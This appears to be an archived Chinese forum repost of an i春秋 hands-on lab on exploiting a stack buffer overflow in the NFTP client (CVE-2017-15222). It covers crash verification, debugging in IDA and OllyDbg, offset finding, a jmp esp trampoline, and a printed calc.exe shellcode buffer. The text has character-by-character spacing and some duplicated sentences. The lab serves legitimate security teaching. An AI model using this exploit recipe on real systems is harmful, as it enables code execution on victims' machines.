搜索

[19218] 2018-01-19_【动手实验】NFTP缓冲区溢出漏洞

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2018-01-19_【动手实验】NFTP缓冲区溢出漏洞 【 动 手 实 验 】 N F T P 缓 冲 区 溢 出 漏 洞 i 春 秋   2 0 1 8 - 0 1 - 1 9 缓 冲 区 溢 出 是 一 种 非 常 普 遍 、 非 常 危 险 的 漏 洞 ， 在 各 种 操 作 系 统 、 应 用 软 件 中 广 泛 存 在 。 可 能 导 致 程 序 运 行 失 败 、 系 统 宕 机 、 重 新 启 动 等 后 果 。 更 为 严 重 的 是 ， 可 以 利 用 它 执 行 非 授 权 指 令 ， 甚 至 可 以 取 得 系 统 特 权 ， 进 而 进 行 各 种 非 法 操 作 。 用 一 个 很 简 单 的 例 子 解 读 缓 冲 溢 出 区 漏 洞 ， 可 以 想 象 一 下 用 一 个 杯 子 接 水 ， 水 一 点 点 增 多 ， 渐 渐 覆 盖 被 子 顶 端 ， 随 后 溢 出 ， 而 杯 子 顶 端 同 等 高 度 的 水 平 面 上 有 一 滴 黑 色 墨 渍 ， 当 水 溢 出 ， 接 触 墨 渍 ， 整 个 杯 子 里 的 水 就 会 变 黑 。 在 当 前 网 络 与 分 布 式 系 统 安 全 中 ， 被 广 泛 利 用 的 5 0 % 以 上 都 是 缓 冲 区 溢 出 ， 其 中 最 著 名 的 例 子 是 1 9 8 8 年 利 用 f i n g e r d 漏 洞 的 蠕 虫 。 而 缓 冲 区 溢 出 中 ， 最 为 危 险 的 是 堆 栈 溢 出 ， 因 为 入 侵 者 可 以 利 用 堆 栈 溢 出 ， 在 函 数 返 回 时 改 变 返 回 程 序 的 地 址 ， 让 其 跳 转 到 任 意 地 址 ， 带 来 的 危 害 一 种 是 程 序 崩 溃 导 致 拒 绝 服 务 ， 另 外 一 种 就 是 跳 转 并 且 执 行 一 段 恶 意 代 码 ， 比 如 得 到 s h e l l ， 然 后 为 所 欲 为 。 这 种 缓 冲 区 溢 出 漏 洞 是 什 么 样 子 的 呢 ？ 我 们 该 如 何 利 用 它 ？ 让 我 们 来 学 习 一 下 本 周 的 实 验 课 N F T P 缓 冲 区 溢 出 漏 洞 缓 冲 区 溢 出 漏 洞 ( C V E - 2 0 1 7 - 1 5 2 2 2 ) 吧 ~ 实 验 环 境 实 验 环 境 操 作 机 ： w i n d o w s   x p 实 验 目 的 实 验 目 的 了 解 缓 冲 区 溢 出 漏 洞 学 习 缓 冲 区 溢 出 漏 洞 的 利 用 方 式 实 验 工 具 实 验 工 具 O l l y D b g ： ： O L L Y D B G 是 一 个 新 的 动 态 追 踪 工 具 ， 将 I D A 与 S o f t I C E 结 合 起 来 的 思 想 ， R i n g   3 级 调 试 器 ， 非 常 容 易 上 手 ， 己 代 替 S o f t I C E 成 为 当 今 最 为 流 行 的 调 试 解 密 工 具 了 。 同 时 还 支 持 插 件 扩 展 功 能 ， 是 目 前 最 强 大 的 调 试 工 具 。 I D A   p r o ： ： 交 互 式 反 汇 编 器 专 业 版 （ I n t e r a c t i v e   D i s a s s e m b l e r   P r o f e s s i o n a l ） ， 人 们 常 称 其 为 I D A   P r o ， 或 简 称 为 I D A 。 是 目 前 最 棒 的 一 个 静 态 反 编 译 软 件 ， 为 众 多 0 d a y 世 界 的 成 员 和 S h e l l C o d e 安 全 分 析 人 士 不 可 缺 少 的 利 器 ！ 实 验 步 骤 实 验 步 骤 本 课 程 的 实 验 流 程 是 ： 首 先 会 通 过 已 有 的 p o c 验 证 漏 洞 ， 然 后 调 试 程 序 ， 找 出 漏 洞 并 分 析 原 因 ， 最 后 实 现 漏 洞 利 用 。 1 、 漏 洞 验 证 、 漏 洞 验 证 打 开 c m d 控 制 台 ， 输 入 命 令 c d   c : T o o l s ， 进 入 c 盘 下 的 T o o l s 文 件 夹 ， 接 着 输 入 命 令 p y t h o n   p o c . p y ， 运 行 p o c
然 后 打 开 桌 面 上 的 N F T P ， 使 用 快 捷 键 s h i f t + L ， 输 入 本 地 i p 地 址 1 7 2 . 1 6 . 1 1 . 2 回 车 后 ， 发 现 N F T P 已 经 崩 溃 ， 单 击 崩 溃 界 面 的 蓝 色 字 体 请 单 击 此 处 ， 查 看 崩 溃 详 情 回 车 后 ， 发 现 N F T P 已 经 崩 溃 ， 单 击 崩 溃 界 面 的 蓝 色 字 体 请 单 击 此 处 ， 查 看 崩 溃 详 情 2 、 漏 洞 调 试 与 分 析 、 漏 洞 调 试 与 分 析 进 入 C 盘 的 T o o l s 文 件 夹 中 ， 先 来 看 下 p o c 中 的 内 容
从 中 可 以 看 到 ， 该 p o c 会 构 造 一 个 b u f f ， 长 度 为 5 0 0 0 ， 然 后 会 向 N F T P 发 送 数 据 包 。 在 第 四 次 发 送 数 据 包 时 ， 发 送 的 字 符 串 则 是 构 造 好 的 b u f f ， 从 上 面 崩 溃 详 情 中 了 解 到 内 存 地 址 是 被 4 1 4 1 4 1 4 1 覆 盖 掉 的 ， 也 就 是 p o c 中 b u f f ， 由 此 推 断 ， 漏 洞 可 能 位 于 接 收 数 据 包 的 r e c v 函 数 处 。 使 用 I D A   p r o 打 开 N F T P （ C : T o o l s N F T P n f t p c . e x e ） ， 转 到 I m p o r t s 输 入 表 窗 口 ， 输 入 r e c v 来 定 位 r e c v 函 数 定 位 到 r e c v 函 数 后 双 击 该 行 ， 可 以 进 入 反 汇 编 窗 口 ， 再 次 选 中 r e c v 字 符 串 ， 按 下 快 捷 键 x 来 进 行 交 叉 引 用 分 析 可 以 看 到 ， 共 有 三 处 调 用 了 r e c v 函 数 ， 其 地 址 分 别 为 0 x 4 0 A D 1 4 + 0 x 1 1 F ， 0 x 4 1 0 6 7 4 + 0 x 2 7 5 ， 0 x 4 1 3 C E 0 + 0 x F 4 。 接 下 来 使 用 O D 来 进 一 步 分 析 。 打 开 桌 面 上 的 O l l y D b g ， 加 载 N F T P 客 户 端 ， 依 次 在 O D 的 c o m m a n d 窗 口 中 输 入 命 令 b p   0 x 4 0 a e 3 3 ， b p   0 x 4 1 0 8 e 9 ， b p   0 x 4 1 3 d d 4
之 后 F 9 运 行 程 序 ， 此 时 与 上 面 漏 洞 验 证 的 流 程 相 同 ， 在 c m d 中 重 新 运 行 p o c ， 之 后 在 N F T P 中 使 用 快 捷 键 s h i f t + L ， 输 入 本 地 i p 地 址 1 7 2 . 1 6 . 1 1 . 2 ， 回 车 后 ， 程 序 在 O D 中 断 在 了 0 x 0 0 4 0 A E 3 3 的 位 置 ， 这 个 位 置 是 第 一 次 调 用 r e c v 函 数 的 位 置 。 然 后 继 续 按 F 9 运 行 程 序 ， 多 次 运 行 后 ， 会 发 现 程 序 一 直 停 留 在 这 个 位 置 ， 说 明 程 序 一 直 在 这 里 循 环 。 单 击 该 行 ， 使 用 快 捷 键 F 2 去 除 此 处 断 点 ， 之 后 再 次 按 F 9 运 行 程 序 ， 发 现 程 序 崩 溃 。 由 此 说 明 ， 漏 洞 处 于 第 一 次 调 用 r e c v 函 数 的 附 近 ， 也 就 是 地 址 0 x 4 0 A E 3 3 附 近 。 回 到 I D A   p r o 中 ， 选 中 反 汇 编 区 域 ， 使 用 快 捷 键 G ， 输 入 地 址 0 x 4 0 A E 3 3 ， 跳 转 到 此 地 址 然 后 使 用 I D A 的 F 5 快 捷 键 或 者 使 用 鼠 标 点 击 工 具 栏 中 V i e w - > O p e n   s u b v i e w s - > G e n e r a t e   p s e u d o c o d e 得 到 伪 代 码 ， 分 析 此 函 数 的 伪 代 码 ， 发 现 在 r e c v 函 数 之 后 有 个 s t r c p y 函 数 ， 并 且 该 函 数 周 围 并 没 有 控 制 字 符 串 长 度 的 代 码 。
那 么 可 以 猜 测 ， 由 于 s t r c p y 函 数 没 有 对 拷 贝 字 符 串 的 长 度 进 行 控 制 ， 所 以 导 致 栈 溢 出 。 为 了 验 证 猜 想 ， 打 开 O D ， 使 用 快 捷 键 a l t + B 打 开 断 点 窗 口 ， 删 除 之 前 所 下 断 点 。 之 后 使 用 a l t + c 回 到 主 界 面 ， 在 c o m m a n d 命 令 行 处 输 入 命 令 b p   0 x 4 0 A F F 1 ， 在 刚 才 预 测 的 溢 出 点 s t r c p y 函 数 处 下 断 点 ， F 9 运 行 程 序 。 然 后 在 c m d 中 重 新 运 行 p o c ， 在 N F T P 中 输 入 i p 后 ， 按 回 车 使 程 序 中 断 到 s t r c p y 函 数 。 此 时 可 以 从 O D 的 堆 栈 窗 口 中 看 到 熟 悉 的 字 符 串 这 里 的 字 符 串 2 2 0   W e l c o m e ! 正 是 p o c 发 送 的 第 一 个 数 据 包 中 的 字 符 串 ， 并 且 可 以 看 到 ， 所 拷 贝 的 目 的 地 址 为 0 x 0 2 4 7 4 2 B 0 ， 这 个 地 址 位 于 栈 上 ， 也 就 是 说 拷 贝 之 后 的 数 据 存 放 在 栈 空 间 中 。 此 地 址 值 在 不 同 的 调 试 环 境 中 可 能 会 有 所 变 化 。 之 后 再 次 按 F 9 ， 程 序 第 二 次 中 断 在 这 里 ， 而 此 时 堆 栈 窗 口 中 的 字 符 串 是 3 3 1   O K . ， 所 拷 贝 的 目 的 地 址 依 旧 为 0 x 0 2 4 7 4 2 B 0 。
再 次 按 F 9 ， 程 序 第 三 次 中 断 在 这 里 ， 这 时 堆 栈 窗 口 的 字 符 串 是 2 3 0   O K . 。 继 续 按 F 9 ， 程 序 第 四 次 中 断 在 这 里 ， 这 时 堆 栈 窗 口 的 字 符 串 是 A A A A A A A A A . . . . ， 也 就 是 p o c 中 构 造 的 畸 形 字 符 串 。 继 续 按 F 9 ， 程 序 第 四 次 中 断 在 这 里 ， 这 时 堆 栈 窗 口 的 字 符 串 是 A A A A A A A A A . . . . ， 也 就 是 p o c 中 构 造 的 畸 形 字 符 串 。
此 时 ， 我 们 将 鼠 标 移 到 O D 的 数 据 区 ， 右 键 - > 转 到 - > 表 达 式 ， 在 输 入 框 中 输 入 刚 才 堆 栈 窗 口 中 的 目 的 地 址 ， 这 里 也 就 是 0 x 0 2 4 7 4 2 B 0 ， 回 车 ， 在 数 据 区 中 可 见 ， 栈 空 间 已 经 被 畸 形 字 符 串 覆 盖 。 再 次 按 下 F 9 ， 程 序 崩 溃 。 从 以 上 五 次 调 用 s t r c p y 函 数 可 以 看 到 ， 在 五 次 拷 贝 中 ， 所 拷 贝 的 目 的 地 址 都 相 同 ， 并 且 都 位 于 栈 上 ， 并 且 都 没 有 控 制 源 字 符 串 的 长 度 ， 因 此 在 第 四 次 拷 贝 字 符 串 时 ， 由 于 字 符 串 构 造 的 长 度 过 长 ， 导 致 栈 空 间 崩 溃 。 从 步 骤 一 中 可 以 得 出 ， 此 漏 洞 属 于 栈 溢 出 ， 并 且 栈 空 间 可 控 。 那 么 就 可 以 通 过 构 造 p a y l o a d ， 来 控 制 栈 空 间 。 要 控 制 栈 空 间 ， 首 先 需 要 知 道 崩 溃 点 在 哪 里 。 之 前 的 p o c 中 构 造 的 b u f f 虽 然 可 以 导 致 栈 溢 出 ， 但 是 由 于 b u f f 长 度 比 较 随 机 ， 并 不 能 准 确 的 判 断 崩 溃 点 。 寻 找 准 确 的 崩 溃 位 置 ， 这 里 就 需 要 用 到 一 个 工 具 p a t t e r n . p y ， 此 工 具 位 于 C 盘 T o o l s 文 件 夹 中 。 打 开 c m d ， 来 到 T o o l s 文 件 夹 中 ， 输 入 命 令 p y t h o n   p a t t e r n . p y   c r e a t e   5 0 0 0   >   b u f f . t x t 回 车 后 ， 可 在 T o o l s 文 件 夹 中 生 成 一 个 b u f f . t x t 文 件 ， 打 开 它 可 以 看 到 ， 里 面 是 生 成 的 畸 形 字 符 串
我 们 使 用 快 捷 键 c t r l + A 全 选 文 本 中 的 内 容 ， 然 后 复 制 到 p o c 中 ， 替 换 原 有 b u f f 中 的 内 容 。 之 后 ， 在 c m d 中 再 次 运 行 重 新 写 好 的 p o c ， 然 后 打 开 N F T P 客 户 端 ， 和 之 前 操 作 一 样 ， 输 入 i p 后 使 客 户 端 崩 溃 ， 这 时 单 击 崩 溃 界 面 的 蓝 色 字 体 请 单 击 此 处 ， 查 看 崩 溃 详 情 可 见 图 中 的 o f f s e t 处 ， 变 成 了 4 6 3 2 6 8 4 6 ， 记 录 这 个 值 ， 在 c m d 中 输 入 命 令 p y t h o n   p a t t e r n . p y   o f f s e t   4 6 3 2 6 8 4 6
可 以 得 出 结 果 ， 程 序 的 崩 溃 位 置 在 4 1 1 6 处 ， 为 了 验 证 这 个 值 是 否 正 确 ， 这 次 需 要 修 改 p o c 中 的 b u f f 内 容 为 b u f f   =   " A "   *   4 1 1 6   +   " B B B B " 再 次 运 行 p o c ， 并 且 使 程 序 崩 溃 ， 查 看 崩 溃 详 情 可 以 看 到 ， 不 可 读 的 地 址 已 经 变 成 了 4 2 4 2 4 2 4 2 ， 这 正 是 B B B B 的 A S C I I 码 如 果 把 b u f f 中 的 B B B B 替 换 成 一 个 可 读 的 地 址 ， 并 且 这 个 地 址 可 以 由 我 们 自 己 控 制 ， 那 么 就 可 以 劫 持 程 序 流 ， 做 我 们 想 做 的 事 。 这 里 ， 首 先 找 到 一 个 可 以 运 行 c a l c . e x e 的 s h e l l c o d e ( " x d a x c 5 x b e x d a x c 6 x 9 a x b 6 x d 9 x 7 4 x 2 4 x f 4 x 5 d x 2 b x c 9 x b 1 " " x 3 3 x 8 3 x c 5 x 0 4 x 3 1 x 7 5 x 1 3 x 0 3 x a f x d 5 x 7 8 x 4 3 x b 3 x 3 2 x f 5 " " x a c x 4 b x c 3 x 6 6 x 2 4 x a e x f 2 x b 4 x 5 2 x b b x a 7 x 0 8 x 1 0 x e 9 x 4 b " " x e 2 x 7 4 x 1 9 x d f x 8 6 x 5 0 x 2 e x 6 8 x 2 c x 8 7 x 0 1 x 6 9 x 8 0 x 0 7 x c d " " x a 9 x 8 2 x f b x 0 f x f e x 6 4 x c 5 x c 0 x f 3 x 6 5 x 0 2 x 3 c x f b x 3 4 x d b " " x 4 b x a e x a 8 x 6 8 x 0 9 x 7 3 x c 8 x b e x 0 6 x c b x b 2 x b b x d 8 x b 8 x 0 8 " " x c 5 x 0 8 x 1 0 x 0 6 x 8 d x b 0 x 1 a x 4 0 x 2 e x c 1 x c f x 9 2 x 1 2 x 8 8 x 6 4 " " x 6 0 x e 0 x 0 b x a d x b 8 x 0 9 x 3 a x 9 1 x 1 7 x 3 4 x f 3 x 1 c x 6 9 x 7 0 x 3 3 " " x f f x 1 c x 8 a x 4 0 x 8 2 x 2 6 x 4 9 x 3 b x 5 8 x a 2 x 4 c x 9 b x 2 b x 1 4 x b 5 " " x 1 a x f f x c 3 x 3 e x 1 0 x b 4 x 8 0 x 1 9 x 3 4 x 4 b x 4 4 x 1 2 x 4 0 x c 0 x 6 b " " x f 5 x c 1 x 9 2 x 4 f x d 1 x 8 a x 4 1 x f 1 x 4 0 x 7 6 x 2 7 x 0 e x 9 2 x d e x 9 8 " " x a a x d 8 x c c x c d x c d x 8 2 x 9 a x 1 0 x 5 f x b 9 x e 3 x 1 3 x 5 f x c 2 x 4 3 " " x 7 c x 6 e x 4 9 x 0 c x f b x 6 f x 9 8 x 6 9 x f 3 x 2 5 x 8 1 x d b x 9 c x e 3 x 5 3 " " x 5 e x c 1 x 1 3 x 8 e x 9 c x f c x 9 7 x 3 b x 5 c x f b x 8 8 x 4 9 x 5 9 x 4 7 x 0 f " " x a 1 x 1 3 x d 8 x f a x c 5 x 8 0 x d 9 x 2 e x a 6 x 4 7 x 4 a x b 2 x 0 7 x e 2 x e a " " x 5 1 x 5 8 " ) 我 们 将 这 个 s h e l l c o d e 放 入 b u f f 中 b u f f   =   " A "   *   4 1 1 6   +   a d d r e s s   +   s h e l l c o d e 由 于 s h e l l c o d e 位 于 栈 上 ， 因 此 我 们 需 要 将 程 序 劫 持 到 栈 上 ， 进 而 运 行 s h e l l c o d e 。 为 了 准 确 的 定 位 到 栈 空 间 ， 并 且 能 够 执 行 位 于 栈 上 的 s h e l l c o d e ， 需 要 找 到 一 个 " 跳 板 " - - - - j m p   e s p ， 这 个 " 跳 板 " 能 帮 我 们 准 确 定 位 到 栈 空 间 中 ， 并 且 将 程 序 劫 持 到 这 条 命 令 之 后 。 那 么 接 下 来 就 需 要 寻 找 一 个 稳 定 的 " 跳 板 " 。 使 用 O D 打 开 N F T P 客 户 端 ， 选 中 反 汇 编 模 块 ， 右 键 - > 查 找 - > 所 有 模 块 中 的 名 称 打 开 之 后 ， 找 到 k e r n e l 3 2 模 块 ， 双 击 该 行 ， 进 入 k e r n e l 3 2 领 域 。
再 次 选 中 反 汇 编 模 块 ， 右 键 - > 查 找 - > 命 令 ， 在 弹 框 中 输 入 j m p   e s p ， 单 击 查 找 ， 找 到 j m p   e s p 地 址 为 0 x 7 C 8 6 4 6 7 B 为 了 能 够 准 确 的 执 行 s h e l l c o d e ， 还 需 要 在 s h e l l c o d e 之 前 补 充 一 些 n o p ， 反 汇 编 指 令 为 x 9 0 。 修 改 p o c 中 的 b u f f 内 容 为 ： j m p _ e s p   =   " x 7 b x 4 6 x 8 6 x 7 c " b u f f   =   " A "   *   4 1 1 6   +   j m p _ e s p   + 　 " x 9 0 "   *   1 6   +   s h e l l c o d e 注 ： 实 验 中 可 以 使 用 以 及 编 写 好 的 e x p 最 后 ， 验 证 e x p 。 使 用 c m d 进 入 T o o l s 文 件 夹 中 ， 输 入 命 令 p y t h o n   e x p . p y ， 打 开 N F T P 客 户 端 ， 输 入 i p 后 ， 回 车 ， N F T P 客 户 端 退 出 ， 弹 出 c a l c . e x e 计 算 器 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理